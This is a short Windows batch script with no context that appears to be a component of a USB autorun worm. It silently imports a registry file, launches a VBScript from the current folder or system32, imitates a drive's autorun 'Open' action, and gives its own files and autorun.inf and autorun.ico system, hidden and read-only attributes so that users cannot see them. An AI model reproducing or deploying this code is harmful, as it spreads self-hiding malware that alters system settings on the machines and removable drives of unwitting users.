@echo off if exist .\test.reg regedit /s .\test.reg if not "%1"=="" goto open if exist test.vbs start WScript.exe test.vbs&exit if exist %SYSTEMROOT%\system32\test.vbs start WScript.exe %SYSTEMROOT%\system32\test.vbs&exit exit :open if not "%1"=="Open" goto next start explorer .\ exit :next if "%1"=="+" attrib +s +a +h +r %2\test.* if "%1"=="+" attrib +s +a +h +r %2\autorun.inf if "%1"=="+" attrib +s +a +h +r %2\autorun.ico :end